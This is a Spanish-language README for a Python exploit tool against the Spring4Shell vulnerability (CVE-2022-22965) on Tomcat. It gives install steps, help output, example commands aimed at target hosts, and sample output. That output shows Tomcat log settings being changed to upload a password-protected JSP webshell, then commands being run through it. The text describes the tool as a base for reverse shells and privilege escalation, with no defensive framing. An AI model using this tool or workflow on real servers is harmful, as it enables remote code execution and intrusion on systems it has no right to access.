
spring4shell | CVE-2022-22965
una implementación python de CVE-2022-22965 que proporciona un prompt al usuario al estilo de una sesión SSH.
El script está diseñado para ser fácil de entender y ejecutar, con legibilidad y accesibilidad, según la elección del usuario. Diseñado para explotar la vulnerabilidad en servidores Tomcat. El campo fileDateFormat en el servidor se establecerá y desestablecerá como parte del script, lo que permite ejecutar el exploit varias veces. Puede ser necesaria una limpieza.
vulnerabilidad encontrada en
el framework Spring de Java anterior a la versión 5.2, así como en las versiones 5.3.0-17 y 5.2.0-19, y ejecutándose en una versión del Java Development Kit mayor o igual a 9.
Más información:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
Los módulos requests y BeautifulSoup son necesarios para ejecutar el exploit. Se pueden instalar con:
pip3 install bs4
pip3 install requests
Todos los demás módulos están integrados en python3.
El script solo requiere la URL del servidor vulnerable para ejecutarse. Sin embargo, hay otros indicadores para facilitar el acceso, etc.
salida de --help:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
ejemplo de salida:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
No hace falta decir que el script no proporciona al usuario un shell completo, sino que está diseñado como una plataforma para lograr un shell inverso completo, escalada de privilegios, etc., en el objetivo.
El script intenta obtener el usuario/servicio que ejecuta el servidor vulnerable para poder usarlo como parte del pseudo prompt de comandos en el programa, aunque esto no siempre es fiable.
El script fue principalmente un ejercicio de scripting en python para un solo exploit, teniendo en cuenta tanto la legibilidad como la accesibilidad. Diseñado para facilitar su uso y comprensión. Intenta manejar excepciones comunes.
https://skerritt.blog/a11y/ - implementación de accesibilidad.